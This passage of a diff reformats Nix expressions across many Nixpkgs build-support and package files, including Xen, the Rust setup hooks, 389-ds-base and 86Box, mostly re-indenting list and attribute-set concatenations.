-          testCross = pkgsCross.riscv64.tests.rust-hooks.cargoSetupHook;
-        };
+      passthru.tests = {
+        test = tests.rust-hooks.cargoSetupHook;
+      }
+      // lib.optionalAttrs (stdenv.isLinux) {
+        testCross = pkgsCross.riscv64.tests.rust-hooks.cargoSetupHook;
+      };
     } ./cargo-setup-hook.sh
   ) { };
 
diff --git a/pkgs/build-support/rust/import-cargo-lock.nix b/pkgs/build-support/rust/import-cargo-lock.nix
index d63cfb8c52b9..ded382f42247 100644
--- a/pkgs/build-support/rust/import-cargo-lock.nix
+++ b/pkgs/build-support/rust/import-cargo-lock.nix
@@ -131,7 +131,8 @@ let
 
   registries = {
     "https://github.com/rust-lang/crates.io-index" = "https://crates.io/api/v1/crates";
-  } // extraRegistries;
+  }
+  // extraRegistries;
 
   # Replaces values inherited by workspace members.
   replaceWorkspaceValues = writers.writePython3 "replace-workspace-values" {
diff --git a/pkgs/build-support/rust/lib/default.nix b/pkgs/build-support/rust/lib/default.nix
index 1a38818af67d..86be047af73b 100644
--- a/pkgs/build-support/rust/lib/default.nix
+++ b/pkgs/build-support/rust/lib/default.nix
@@ -55,31 +55,30 @@ rec {
       # Prefix this onto a command invocation in order to set the
       # variables needed by cargo.
       #
-      setEnv =
-        ''
-          env \
-            "CC_${stdenv.buildPlatform.rust.cargoEnvVarTarget}=${ccForBuild}" \
-            "CXX_${stdenv.buildPlatform.rust.cargoEnvVarTarget}=${cxxForBuild}" \
-            "CARGO_TARGET_${stdenv.buildPlatform.rust.cargoEnvVarTarget}_LINKER=${ccForBuild}" \
-            "CARGO_BUILD_TARGET=${rustBuildPlatform}" \
-            "HOST_CC=${pkgsBuildHost.stdenv.cc}/bin/cc" \
-            "HOST_CXX=${pkgsBuildHost.stdenv.cc}/bin/c++" \
-        ''
-        + ''
-          "CC_${stdenv.hostPlatform.rust.cargoEnvVarTarget}=${ccForHost}" \
-          "CXX_${stdenv.hostPlatform.rust.cargoEnvVarTarget}=${cxxForHost}" \
-          "CARGO_TARGET_${stdenv.hostPlatform.rust.cargoEnvVarTarget}_LINKER=${ccForHost}" \
-        ''
-        # Due to a bug in how splicing and pkgsTargetTarget works, in
-        # situations where pkgsTargetTarget is irrelevant
-        # pkgsTargetTarget.stdenv.cc is often simply wrong.  We must omit
-        # the following lines when rustTargetPlatform collides with
-        # rustHostPlatform.
-        + lib.optionalString (rustTargetPlatform != rustHostPlatform) ''
-          "CC_${stdenv.targetPlatform.rust.cargoEnvVarTarget}=${ccForTarget}" \
-          "CXX_${stdenv.targetPlatform.rust.cargoEnvVarTarget}=${cxxForTarget}" \
-          "CARGO_TARGET_${stdenv.targetPlatform.rust.cargoEnvVarTarget}_LINKER=${ccForTarget}" \
-        '';
+      setEnv = ''
+        env \
+          "CC_${stdenv.buildPlatform.rust.cargoEnvVarTarget}=${ccForBuild}" \
+          "CXX_${stdenv.buildPlatform.rust.cargoEnvVarTarget}=${cxxForBuild}" \
+          "CARGO_TARGET_${stdenv.buildPlatform.rust.cargoEnvVarTarget}_LINKER=${ccForBuild}" \
+          "CARGO_BUILD_TARGET=${rustBuildPlatform}" \
+          "HOST_CC=${pkgsBuildHost.stdenv.cc}/bin/cc" \
+          "HOST_CXX=${pkgsBuildHost.stdenv.cc}/bin/c++" \
+      ''
+      + ''
+        "CC_${stdenv.hostPlatform.rust.cargoEnvVarTarget}=${ccForHost}" \
+        "CXX_${stdenv.hostPlatform.rust.cargoEnvVarTarget}=${cxxForHost}" \
+        "CARGO_TARGET_${stdenv.hostPlatform.rust.cargoEnvVarTarget}_LINKER=${ccForHost}" \
+      ''
+      # Due to a bug in how splicing and pkgsTargetTarget works, in
+      # situations where pkgsTargetTarget is irrelevant
+      # pkgsTargetTarget.stdenv.cc is often simply wrong.  We must omit
+      # the following lines when rustTargetPlatform collides with
+      # rustHostPlatform.
+      + lib.optionalString (rustTargetPlatform != rustHostPlatform) ''
+        "CC_${stdenv.targetPlatform.rust.cargoEnvVarTarget}=${ccForTarget}" \
+        "CXX_${stdenv.targetPlatform.rust.cargoEnvVarTarget}=${cxxForTarget}" \
+        "CARGO_TARGET_${stdenv.targetPlatform.rust.cargoEnvVarTarget}_LINKER=${ccForTarget}" \
+      '';
     };
 }
 //
diff --git a/pkgs/build-support/setup-hooks/wrap-gapps-hook/default.nix b/pkgs/build-support/setup-hooks/wrap-gapps-hook/default.nix
index 0ff6305fe5de..c5df25d4066d 100644
--- a/pkgs/build-support/setup-hooks/wrap-gapps-hook/default.nix
+++ b/pkgs/build-support/setup-hooks/wrap-gapps-hook/default.nix
@@ -16,17 +16,16 @@
 
 makeSetupHook {
   name = "wrap-gapps-hook";
-  propagatedBuildInputs =
-    [
-      # We use the wrapProgram function.
-      makeWrapper
-    ]
-    ++ lib.optionals isGraphical [
-      # TODO: remove this, packages should depend on GTK explicitly.
-      gtk3
+  propagatedBuildInputs = [
+    # We use the wrapProgram function.
+    makeWrapper
+  ]
+  ++ lib.optionals isGraphical [
+    # TODO: remove this, packages should depend on GTK explicitly.
+    gtk3
 
-      librsvg
-    ];
+    librsvg
+  ];
 
   # depsTargetTargetPropagated will essentially be buildInputs when wrapGAppsHook3 is placed into nativeBuildInputs
   # the librsvg and gtk3 above should be removed but kept to not break anything that implicitly depended on its binaries
diff --git a/pkgs/build-support/testers/default.nix b/pkgs/build-support/testers/default.nix
index b48320f7e270..a78a0189022c 100644
--- a/pkgs/build-support/testers/default.nix
+++ b/pkgs/build-support/testers/default.nix
@@ -25,21 +25,20 @@
     drv:
     drv.overrideAttrs (orig: {
       builder = buildPackages.bash;
-      args =
-        [
-          (replaceVars ./expect-failure.sh {
-            coreutils = buildPackages.coreutils;
-            vars = lib.toShellVars {
-              outputNames = (orig.outputs or [ "out" ]);
-            };
-          })
-          orig.realBuilder or stdenv.shell
-        ]
-        ++ orig.args or [
-          "-e"
-          ../../stdenv/generic/source-stdenv.sh
-          (orig.builder or ../../stdenv/generic/default-builder.sh)
-        ];
+      args = [
+        (replaceVars ./expect-failure.sh {
+          coreutils = buildPackages.coreutils;
+          vars = lib.toShellVars {
+            outputNames = (orig.outputs or [ "out" ]);
+          };
+        })
+        orig.realBuilder or stdenv.shell
+      ]
+      ++ orig.args or [
+        "-e"
+        ../../stdenv/generic/source-stdenv.sh
+        (orig.builder or ../../stdenv/generic/default-builder.sh)
+      ];
     });
 
   # See https://nixos.org/manual/nixpkgs/unstable/#tester-testBuildFailurePrime
@@ -149,17 +148,16 @@
     runCommandWith {
       inherit name stdenv;
 
-      derivationArgs =
-        {
-          outputHash = hash;
-          outputHashMode = "recursive";
-        }
-        // lib.removeAttrs args [
-          "hash"
-          "name"
-          "script"
-          "stdenv"
-        ];
+      derivationArgs = {
+        outputHash = hash;
+        outputHashMode = "recursive";
+      }
+      // lib.removeAttrs args [
+        "hash"
+        "name"
+        "script"
+        "stdenv"
+      ];
     } script
   );
 
diff --git a/pkgs/build-support/testers/hasPkgConfigModules/tester.nix b/pkgs/build-support/testers/hasPkgConfigModules/tester.nix
index 1d9e3ff50986..b0053820a3d2 100644
--- a/pkgs/build-support/testers/hasPkgConfigModules/tester.nix
+++ b/pkgs/build-support/testers/hasPkgConfigModules/tester.nix
@@ -19,24 +19,23 @@ runCommand testName
     nativeBuildInputs = [ pkg-config ];
     buildInputs = [ package ];
     inherit moduleNames version versionCheck;
-    meta =
-      {
-        description = "Test whether ${package.name} exposes pkg-config modules ${lib.concatStringsSep ", " moduleNames}";
-      }
-      # Make sure licensing info etc is preserved, as this is a concern for e.g. cache.nixos.org,
-      # as hydra can't check this meta info in dependencies.
-      # The test itself is just Nixpkgs, with MIT license.
-      // builtins.intersectAttrs {
-        available = throw "unused";
-        broken = throw "unused";
-        insecure = throw "unused";
-        license = throw "unused";
-        maintainers = throw "unused";
-        teams = throw "unused";
-        platforms = throw "unused";
-        unfree = throw "unused";
-        unsupported = throw "unused";
-      } package.meta;
+    meta = {
+      description = "Test whether ${package.name} exposes pkg-config modules ${lib.concatStringsSep ", " moduleNames}";
+    }
+    # Make sure licensing info etc is preserved, as this is a concern for e.g. cache.nixos.org,
+    # as hydra can't check this meta info in dependencies.
+    # The test itself is just Nixpkgs, with MIT license.
+    // builtins.intersectAttrs {
+      available = throw "unused";
+      broken = throw "unused";
+      insecure = throw "unused";
+      license = throw "unused";
+      maintainers = throw "unused";
+      teams = throw "unused";
+      platforms = throw "unused";
+      unfree = throw "unused";
+      unsupported = throw "unused";
+    } package.meta;
   }
   ''
     touch "$out"
diff --git a/pkgs/build-support/testers/lychee.nix b/pkgs/build-support/testers/lychee.nix
index 28395c9784f6..ec0aa4c7f305 100644
--- a/pkgs/build-support/testers/lychee.nix
+++ b/pkgs/build-support/testers/lychee.nix
@@ -46,16 +46,15 @@ let
       # These can be overridden with overrideAttrs if needed.
       passthru = {
         inherit lychee remap;
-        config =
-          {
-            include_fragments = true;
-          }
-          // lib.optionalAttrs (finalAttrs.passthru.remap != { }) {
-            remap = mapAttrsToList (
-              name: value: withCheckedName name "${name} ${toURL value}"
-            ) finalAttrs.passthru.remap;
-          }
-          // extraConfig;
+        config = {
+          include_fragments = true;
+        }
+        // lib.optionalAttrs (finalAttrs.passthru.remap != { }) {
+          remap = mapAttrsToList (
+            name: value: withCheckedName name "${name} ${toURL value}"
+          ) finalAttrs.passthru.remap;
+        }
+        // extraConfig;
         online = writeShellApplication {
           name = "run-lychee-online";
           runtimeInputs = [ finalAttrs.passthru.lychee ];
diff --git a/pkgs/build-support/trivial-builders/default.nix b/pkgs/build-support/trivial-builders/default.nix
index 3eac17646251..dfe40384539b 100644
--- a/pkgs/build-support/trivial-builders/default.nix
+++ b/pkgs/build-support/trivial-builders/default.nix
@@ -344,27 +344,26 @@ rec {
       destination = "/bin/${name}";
       allowSubstitutes = true;
       preferLocalBuild = false;
-      text =
-        ''
-          #!${runtimeShell}
-          ${lib.concatMapStringsSep "\n" (option: "set -o ${option}") bashOptions}
-        ''
-        + lib.optionalString (runtimeEnv != null) (
-          lib.concatStrings (
-            lib.mapAttrsToList (name: value: ''
-              ${lib.toShellVar name value}
-              export ${name}
-            '') runtimeEnv
-          )
+      text = ''
+        #!${runtimeShell}
+        ${lib.concatMapStringsSep "\n" (option: "set -o ${option}") bashOptions}
+      ''
+      + lib.optionalString (runtimeEnv != null) (
+        lib.concatStrings (
+          lib.mapAttrsToList (name: value: ''
+            ${lib.toShellVar name value}
+            export ${name}
+          '') runtimeEnv
         )
-        + lib.optionalString (runtimeInputs != [ ]) ''
+      )
+      + lib.optionalString (runtimeInputs != [ ]) ''
 
-          export PATH="${lib.makeBinPath runtimeInputs}${lib.optionalString inheritPath ":$PATH"}"
-        ''
-        + ''
+        export PATH="${lib.makeBinPath runtimeInputs}${lib.optionalString inheritPath ":$PATH"}"
+      ''
+      + ''
 
-          ${text}
-        '';
+        ${text}
+      '';
 
       checkPhase =
         let
diff --git a/pkgs/build-support/trivial-builders/test/write-shell-script.nix b/pkgs/build-support/trivial-builders/test/write-shell-script.nix
index 2e20588fad6b..0e62bf46c860 100644
--- a/pkgs/build-support/trivial-builders/test/write-shell-script.nix
+++ b/pkgs/build-support/trivial-builders/test/write-shell-script.nix
@@ -6,14 +6,12 @@ in
   echo ${lib.escapeShellArg output}
 '').overrideAttrs
   (old: {
-    checkPhase =
-      old.checkPhase or ""
-      + ''
-        expected=${lib.escapeShellArg output}
-        got=$("$target")
-        if [[ "$got" != "$expected" ]]; then
-          echo "wrong output: expected $expected, got $got"
-          exit 1
-        fi
-      '';
+    checkPhase = old.checkPhase or "" + ''
+      expected=${lib.escapeShellArg output}
+      got=$("$target")
+      if [[ "$got" != "$expected" ]]; then
+        echo "wrong output: expected $expected, got $got"
+        exit 1
+      fi
+    '';
   })
diff --git a/pkgs/build-support/wasm-bindgen-cli/default.nix b/pkgs/build-support/wasm-bindgen-cli/default.nix
index 1cdbd5d9906a..112e999323ed 100644
--- a/pkgs/build-support/wasm-bindgen-cli/default.nix
+++ b/pkgs/build-support/wasm-bindgen-cli/default.nix
@@ -23,11 +23,12 @@ rustPlatform.buildRustPackage {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
 
   nativeCheckInputs = [ nodejs_latest ];
 
diff --git a/pkgs/build-support/xen/default.nix b/pkgs/build-support/xen/default.nix
index dd3a16de26ce..721395521221 100644
--- a/pkgs/build-support/xen/default.nix
+++ b/pkgs/build-support/xen/default.nix
@@ -141,33 +141,32 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     python3Packages.setuptools
   ];
-  buildInputs =
-    [
-      # Xen
-      acpica-tools
-      bzip2
-      dev86
-      e2fsprogs.dev
-      libnl
-      libuuid
-      lzo
-      ncurses
-      perl
-      python3Packages.python
-      xz
-      yajl
-      zlib
-      zstd
+  buildInputs = [
+    # Xen
+    acpica-tools
+    bzip2
+    dev86
+    e2fsprogs.dev
+    libnl
+    libuuid
+    lzo
+    ncurses
+    perl
+    python3Packages.python
+    xz
+    yajl
+    zlib
+    zstd
 
-      # oxenstored
-      ocamlPackages.findlib
-      ocamlPackages.ocaml
+    # oxenstored
+    ocamlPackages.findlib
+    ocamlPackages.ocaml
 
-      # Python Fixes
-      python3Packages.wrapPython
-    ]
-    ++ optional withFlask checkpolicy
-    ++ optional (versionOlder version "4.19") systemdMinimal;
+    # Python Fixes
+    python3Packages.wrapPython
+  ]
+  ++ optional withFlask checkpolicy
+  ++ optional (versionOlder version "4.19") systemdMinimal;
 
   configureFlags = [
     "--enable-systemd"
@@ -179,29 +178,28 @@ stdenv.mkDerivation (finalAttrs: {
     (enableFeature withFlask "xsmpolicy")
   ];
 
-  makeFlags =
-    [
-      "SUBSYSTEMS=${toString finalAttrs.buildFlags}"
+  makeFlags = [
+    "SUBSYSTEMS=${toString finalAttrs.buildFlags}"
 
-      "PREFIX=$(out)"
-      "BASH_COMPLETION_DIR=$(PREFIX)/share/bash-completion/completions"
+    "PREFIX=$(out)"
+    "BASH_COMPLETION_DIR=$(PREFIX)/share/bash-completion/completions"
 
-      "XEN_WHOAMI=${pname}"
-      "XEN_DOMAIN=${vendor}"
+    "XEN_WHOAMI=${pname}"
+    "XEN_DOMAIN=${vendor}"
 
-      "GIT=${coreutils}/bin/false"
-      "WGET=${coreutils}/bin/false"
-      "EFI_VENDOR=${vendor}"
-      "INSTALL_EFI_STRIP=1"
-      "LD=${getExe' binutils-unwrapped-all-targets "ld"}"
-    ]
-    # These flags set the CONFIG_* options in /boot/xen.config
-    # and define if the default policy file is built. However,
-    # the Flask binaries always get compiled by default.
-    ++ optionals withFlask [
-      "XSM_ENABLE=y"
-      "FLASK_ENABLE=y"
-    ];
+    "GIT=${coreutils}/bin/false"
+    "WGET=${coreutils}/bin/false"
+    "EFI_VENDOR=${vendor}"
+    "INSTALL_EFI_STRIP=1"
+    "LD=${getExe' binutils-unwrapped-all-targets "ld"}"
+  ]
+  # These flags set the CONFIG_* options in /boot/xen.config
+  # and define if the default policy file is built. However,
+  # the Flask binaries always get compiled by default.
+  ++ optionals withFlask [
+    "XSM_ENABLE=y"
+    "FLASK_ENABLE=y"
+  ];
 
   buildFlags = [
     "xen"
@@ -282,17 +280,16 @@ stdenv.mkDerivation (finalAttrs: {
       done
     '';
 
-  postFixup =
-    ''
-      addAutoPatchelfSearchPath $out/lib
-      autoPatchelf $out/libexec/xen/bin
-    ''
-    # Flask is particularly hard to disable. Even after
-    # setting the make flags to `n`, it still gets compiled.
-    # If withFlask is disabled, delete the extra binaries.
-    + optionalString (!withFlask) ''
-      rm -f $out/bin/flask-*
-    '';
+  postFixup = ''
+    addAutoPatchelfSearchPath $out/lib
+    autoPatchelf $out/libexec/xen/bin
+  ''
+  # Flask is particularly hard to disable. Even after
+  # setting the make flags to `n`, it still gets compiled.
+  # If withFlask is disabled, delete the extra binaries.
+  + optionalString (!withFlask) ''
+    rm -f $out/bin/flask-*
+  '';
 
   passthru = {
     efi = "boot/xen-${upstreamVersion}.efi";
@@ -331,22 +328,21 @@ stdenv.mkDerivation (finalAttrs: {
     inherit branch;
 
     description = "Type-1 hypervisor intended for embedded and hyperscale use cases";
-    longDescription =
-      ''
-        The Xen Project Hypervisor is a virtualisation technology defined as a *type-1
-        hypervisor*, which allows multiple virtual machines, known as domains, to run
-        concurrently with the host on the physical machine. On a typical *type-2
-        hypervisor*, the virtual machines run as applications on top of the
-        host. NixOS runs as the privileged **Domain 0**, and can paravirtualise or fully
-        virtualise **Unprivileged Domains**.
+    longDescription = ''
+      The Xen Project Hypervisor is a virtualisation technology defined as a *type-1
+      hypervisor*, which allows multiple virtual machines, known as domains, to run
+      concurrently with the host on the physical machine. On a typical *type-2
+      hypervisor*, the virtual machines run as applications on top of the
+      host. NixOS runs as the privileged **Domain 0**, and can paravirtualise or fully
+      virtualise **Unprivileged Domains**.
 
-        Use with the `qemu_xen` package.
-      ''
-      + "\nIncludes:\n* `xen.efi`: The Xen Project's [EFI binary](https://xenbits.xenproject.org/docs/${branch}-testing/misc/efi.html), available on the `boot` output of this package."
-      + optionalString withFlask "\n* `xsm-flask`: The [FLASK Xen Security Module](https://wiki.xenproject.org/wiki/Xen_Security_Modules_:_XSM-FLASK). The `xenpolicy-${upstreamVersion}` file is available on the `boot` output of this package."
-      + optionalString withSeaBIOS "\n* `seabios`: Support for the SeaBIOS boot firmware on HVM domains."
-      + optionalString withOVMF "\n* `ovmf`: Support for the OVMF UEFI boot firmware on HVM domains."
-      + optionalString withIPXE "\n* `ipxe`: Support for the iPXE boot firmware on HVM domains.";
+      Use with the `qemu_xen` package.
+    ''
+    + "\nIncludes:\n* `xen.efi`: The Xen Project's [EFI binary](https://xenbits.xenproject.org/docs/${branch}-testing/misc/efi.html), available on the `boot` output of this package."
+    + optionalString withFlask "\n* `xsm-flask`: The [FLASK Xen Security Module](https://wiki.xenproject.org/wiki/Xen_Security_Modules_:_XSM-FLASK). The `xenpolicy-${upstreamVersion}` file is available on the `boot` output of this package."
+    + optionalString withSeaBIOS "\n* `seabios`: Support for the SeaBIOS boot firmware on HVM domains."
+    + optionalString withOVMF "\n* `ovmf`: Support for the OVMF UEFI boot firmware on HVM domains."
+    + optionalString withIPXE "\n* `ipxe`: Support for the iPXE boot firmware on HVM domains.";
 
     homepage = "https://xenproject.org/";
     downloadPage = "https://downloads.xenproject.org/release/xen/${version}/";
@@ -370,5 +366,6 @@ stdenv.mkDerivation (finalAttrs: {
 
     platforms = [ isLinux ];
     badPlatforms = [ isAarch64 ];
-  } // meta;
+  }
+  // meta;
 })
diff --git a/pkgs/by-name/_1/_1fps/package.nix b/pkgs/by-name/_1/_1fps/package.nix
index 197a12a90747..48f019a0fd6b 100644
--- a/pkgs/by-name/_1/_1fps/package.nix
+++ b/pkgs/by-name/_1/_1fps/package.nix
@@ -25,7 +25,8 @@ buildGoModule rec {
     xorg.libX11
     xorg.libXtst
     xorg.libXi
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin apple-sdk_14;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin apple-sdk_14;
 
   meta = {
     description = "Encrypted Screen Sharing";
diff --git a/pkgs/by-name/_1/_1password-cli/package.nix b/pkgs/by-name/_1/_1password-cli/package.nix
index fbd1e8db8cc9..ad8d5474b551 100644
--- a/pkgs/by-name/_1/_1password-cli/package.nix
+++ b/pkgs/by-name/_1/_1password-cli/package.nix
@@ -18,7 +18,8 @@ let
       args = {
         url = "https://cache.agilebits.com/dist/1P/op2/pkg/v${version}/op_${srcPlatform}_v${version}.${extension}";
         inherit hash;
-      } // lib.optionalAttrs (extension == "zip") { stripRoot = false; };
+      }
+      // lib.optionalAttrs (extension == "zip") { stripRoot = false; };
     in
     if extension == "zip" then fetchzip args else fetchurl args;
 
@@ -45,16 +46,15 @@ stdenv.mkDerivation {
     else
       throw "Source for ${pname} is not available for ${system}";
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-      versionCheckHook
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook
-    ++ lib.optional stdenv.hostPlatform.isDarwin [
-      xar
-      cpio
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    versionCheckHook
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook
+  ++ lib.optional stdenv.hostPlatform.isDarwin [
+    xar
+    cpio
+  ];
 
   unpackPhase = lib.optionalString stdenv.hostPlatform.isDarwin ''
     xar -xf $src
diff --git a/pkgs/by-name/_3/_389-ds-base/package.nix b/pkgs/by-name/_3/_389-ds-base/package.nix
index a31f30360c7c..ea9dcf136a40 100644
--- a/pkgs/by-name/_3/_389-ds-base/package.nix
+++ b/pkgs/by-name/_3/_389-ds-base/package.nix
@@ -64,29 +64,29 @@ stdenv.mkDerivation (finalAttrs: {
     python3
     cargo
     rustc
-  ] ++ lib.optional withCockpit rsync;
+  ]
+  ++ lib.optional withCockpit rsync;
 
-  buildInputs =
-    [
-      cracklib
-      lmdb
-      json_c
-      linux-pam
-      libevent
-      libxcrypt
-      nspr
-      nss
-      cyrus_sasl
-      icu
-      krb5
-      pcre2
-      openssl
-      zlib
-    ]
-    ++ lib.optional withSystemd systemd
-    ++ lib.optional withOpenldap openldap
-    ++ lib.optional withBdb db
-    ++ lib.optional withNetSnmp net-snmp;
+  buildInputs = [
+    cracklib
+    lmdb
+    json_c
+    linux-pam
+    libevent
+    libxcrypt
+    nspr
+    nss
+    cyrus_sasl
+    icu
+    krb5
+    pcre2
+    openssl
+    zlib
+  ]
+  ++ lib.optional withSystemd systemd
+  ++ lib.optional withOpenldap openldap
+  ++ lib.optional withBdb db
+  ++ lib.optional withNetSnmp net-snmp;
 
   postPatch = ''
     patchShebangs ./buildnum.py ./ldap/servers/slapd/mkDBErrStrs.py
@@ -100,33 +100,32 @@ stdenv.mkDerivation (finalAttrs: {
     ln -s ${finalAttrs.cargoDeps} ./vendor
   '';
 
-  configureFlags =
-    [
-      "--enable-rust-offline"
-      "--enable-autobind"
-    ]
-    ++ lib.optionals withSystemd [
-      "--with-systemd"
-      "--with-systemdsystemunitdir=${placeholder "out"}/etc/systemd/system"
-    ]
-    ++ lib.optionals withOpenldap [
-      "--with-openldap"
-    ]
-    ++ lib.optionals withBdb [
-      "--with-db-inc=${lib.getDev db}/include"
-      "--with-db-lib=${lib.getLib db}/lib"
-    ]
-    ++ lib.optionals withNetSnmp [
-      "--with-netsnmp-inc=${lib.getDev net-snmp}/include"
-      "--with-netsnmp-lib=${lib.getLib net-snmp}/lib"
-    ]
-    ++ lib.optionals (!withCockpit) [
-      "--disable-cockpit"
-    ]
-    ++ lib.optionals withAsan [
-      "--enable-asan"
-      "--enable-debug"
-    ];
+  configureFlags = [
+    "--enable-rust-offline"
+    "--enable-autobind"
+  ]
+  ++ lib.optionals withSystemd [
+    "--with-systemd"
+    "--with-systemdsystemunitdir=${placeholder "out"}/etc/systemd/system"
+  ]
+  ++ lib.optionals withOpenldap [
+    "--with-openldap"
+  ]
+  ++ lib.optionals withBdb [
+    "--with-db-inc=${lib.getDev db}/include"
+    "--with-db-lib=${lib.getLib db}/lib"
+  ]
+  ++ lib.optionals withNetSnmp [
+    "--with-netsnmp-inc=${lib.getDev net-snmp}/include"
+    "--with-netsnmp-lib=${lib.getLib net-snmp}/lib"
+  ]
+  ++ lib.optionals (!withCockpit) [
+    "--disable-cockpit"
+  ]
+  ++ lib.optionals withAsan [
+    "--enable-asan"
+    "--enable-debug"
+  ];
 
   enableParallelBuilding = true;
   # Disable parallel builds as those lack some dependencies:
diff --git a/pkgs/by-name/_7/_7zz/package.nix b/pkgs/by-name/_7/_7zz/package.nix
index c59e94acd2f0..043421c8ed2b 100644
--- a/pkgs/by-name/_7/_7zz/package.nix
+++ b/pkgs/by-name/_7/_7zz/package.nix
@@ -80,19 +80,18 @@ stdenv.mkDerivation (finalAttrs: {
 
   inherit makefile;
 
-  makeFlags =
-    [
-      "CC=${stdenv.cc.targetPrefix}cc"
-      "CXX=${stdenv.cc.targetPrefix}c++"
-    ]
-    ++ lib.optionals useUasm [ "MY_ASM=uasm" ]
-    ++ lib.optionals (!useUasm && stdenv.hostPlatform.isx86) [ "USE_ASM=" ]
-    # it's the compression code with the restriction, see DOC/License.txt
-    ++ lib.optionals (!enableUnfree) [ "DISABLE_RAR_COMPRESS=true" ]
-    ++ lib.optionals (stdenv.hostPlatform.isMinGW) [
-      "IS_MINGW=1"
-      "MSYSTEM=1"
-    ];
+  makeFlags = [
+    "CC=${stdenv.cc.targetPrefix}cc"
+    "CXX=${stdenv.cc.targetPrefix}c++"
+  ]
+  ++ lib.optionals useUasm [ "MY_ASM=uasm" ]
+  ++ lib.optionals (!useUasm && stdenv.hostPlatform.isx86) [ "USE_ASM=" ]
+  # it's the compression code with the restriction, see DOC/License.txt
+  ++ lib.optionals (!enableUnfree) [ "DISABLE_RAR_COMPRESS=true" ]
+  ++ lib.optionals (stdenv.hostPlatform.isMinGW) [
+    "IS_MINGW=1"
+    "MSYSTEM=1"
+  ];
 
   nativeBuildInputs = lib.optionals useUasm [ uasm ];
 
diff --git a/pkgs/by-name/_8/_86Box/package.nix b/pkgs/by-name/_8/_86Box/package.nix
index 51961cc76e5a..066710ff4565 100644
--- a/pkgs/by-name/_8/_86Box/package.nix
+++ b/pkgs/by-name/_8/_86Box/package.nix
@@ -54,42 +54,40 @@ stdenv.mkDerivation (finalAttrs: {
     substituteAllInPlace src/qt/qt_platform.cpp
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      makeWrapper
-      qt5.wrapQtAppsHook
-    ]
-    ++ lib.optionals enableWayland [
-      extra-cmake-modules
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    makeWrapper
+    qt5.wrapQtAppsHook
+  ]
+  ++ lib.optionals enableWayland [
+    extra-cmake-modules
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      freetype
-      fluidsynth
-      SDL2
-      glib
-      openal
-      rtmidi
-      pcre2
-      jack2
-      libpcap
-      libslirp
-      qt5.qtbase
-      qt5.qttools
-      libsndfile
-      flac.dev
-      libogg.dev
-      libvorbis.dev
-      libopus.dev
-      libmpg123.dev
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib
-    ++ lib.optional enableWayland wayland
-    ++ lib.optional enableVncRenderer libvncserver;
+  buildInputs = [
+    freetype
+    fluidsynth
+    SDL2
+    glib
+    openal
+    rtmidi
+    pcre2
+    jack2
+    libpcap
+    libslirp
+    qt5.qtbase
+    qt5.qttools
+    libsndfile
+    flac.dev
+    libogg.dev
+    libvorbis.dev
+    libopus.dev
+    libmpg123.dev
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib
+  ++ lib.optional enableWayland wayland
+  ++ lib.optional enableVncRenderer libvncserver;
 
   cmakeFlags =
     lib.optional stdenv.hostPlatform.isDarwin "-DCMAKE_MACOSX_BUNDLE=OFF"
diff --git a/pkgs/by-name/_9/_9base/package.nix b/pkgs/by-name/_9/_9base/package.nix
index 02aa841117af..ff53bb89d013 100644
--- a/pkgs/by-name/_9/_9base/package.nix
+++ b/pkgs/by-name/_9/_9base/package.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation {
     # https://github.com/9fans/plan9port/commit/540caa5873bcc3bc2a0e1896119f5b53a0e8e630
     # https://github.com/9fans/plan9port/commit/323e1a8fac276f008e6d5146a83cbc88edeabc87
     ./getcallerpc-use-macro-or-stub.patch
-  ] ++ patches;
+  ]
+  ++ patches;
 
   # the 9yacc script needs to be executed to build other items
   preBuild = lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
diff --git a/pkgs/by-name/a2/a2jmidid/package.nix b/pkgs/by-name/a2/a2jmidid/package.nix
index 10b2fa3fe9b2..b43491c98535 100644
--- a/pkgs/by-name/a2/a2jmidid/package.nix
+++ b/pkgs/by-name/a2/a2jmidid/package.nix
@@ -32,16 +32,15 @@ stdenv.mkDerivation rec {
     meson
     ninja
   ];
-  buildInputs =
-    [
-      alsa-lib
-      dbus
-      libjack2
-    ]
-    ++ (with python3Packages; [
-      python
-      dbus-python
-    ]);
+  buildInputs = [
+    alsa-lib
+    dbus
+    libjack2
+  ]
+  ++ (with python3Packages; [
+    python
+    dbus-python
+  ]);
 
   postInstall = ''
     wrapProgram $out/bin/a2j_control --set PYTHONPATH $PYTHONPATH
diff --git a/pkgs/by-name/aa/aalib/package.nix b/pkgs/by-name/aa/aalib/package.nix
index 4b1885005d08..2dc9439397a8 100644
--- a/pkgs/by-name/aa/aalib/package.nix
+++ b/pkgs/by-name/aa/aalib/package.nix
@@ -28,7 +28,8 @@ stdenv.mkDerivation rec {
     ./clang.patch
     # Fix build against opaque aalib API
     ./ncurses-6.5.patch
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ ./darwin.patch ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ ./darwin.patch ];
 
   # The fuloong2f is not supported by aalib still
   preConfigure = ''
diff --git a/pkgs/by-name/ab/abseil-cpp_202501/package.nix b/pkgs/by-name/ab/abseil-cpp_202501/package.nix
index 0e7be335f957..7fffca86c037 100644
--- a/pkgs/by-name/ab/abseil-cpp_202501/package.nix
+++ b/pkgs/by-name/ab/abseil-cpp_202501/package.nix
@@ -19,15 +19,14 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-QTywqQCkyGFpdbtDBvUwz9bGXxbJs/qoFKF6zYAZUmQ=";
   };
 
-  cmakeFlags =
-    [
